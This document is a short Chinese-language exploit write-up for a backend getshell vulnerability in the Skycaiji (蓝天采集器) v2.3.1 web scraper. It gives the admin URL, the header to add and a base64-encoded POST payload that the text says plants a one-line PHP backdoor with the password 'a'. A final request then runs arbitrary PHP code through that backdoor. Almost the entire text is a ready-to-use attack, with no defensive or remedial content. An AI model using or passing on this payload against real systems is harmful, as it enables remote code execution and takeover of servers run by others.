蓝天采集器 v2.3.1 后台getshell漏洞

漏洞利用

访问

http://www.0-sec.org/index.php?s=/Admin/Store/installPlugin

添加http头Origin:

http://www.0-sec.org

POST:

plugin=eyJhcHAiOiJBYUFhQWEiLCJuYW1lIjoidGVzdDEiLCJ0eXBlIjoicmVsZWFzZSIsIm1vZHVsZSI6InRlc3QyIiwiY29kZSI6IlBEOXdhSEFLTHlvS2JtRnRaWE53WVdObElIQnNkV2RwYmx4eVpXeGxZWE5sWEdOdGN6c0tDbU5zWVhOeklFRmhRV0ZCWVhzS0NYQjFZbXhwWXlBa2NtVnNaV0Z6WlRzS2ZTb3ZDa0JsZG1Gc0tDUmZSMFZVVzJGZEtUc0tQejQ9In0=

接着会在\plugin\release\cms\下生成AaAaAa.php的一句话后门，密码为a

然后在后台点击发布插件选项卡，再点击开发按钮

这时会引用我们带有一句话木马的文件，在url上添加a参数即可执行任意php代码，进而getshell，以执行phpinfo为例，访问

http://www.0-sec.org/index.php?s=/admin/Develop/releaseCms&app=AaAaAa&a=phpinfo();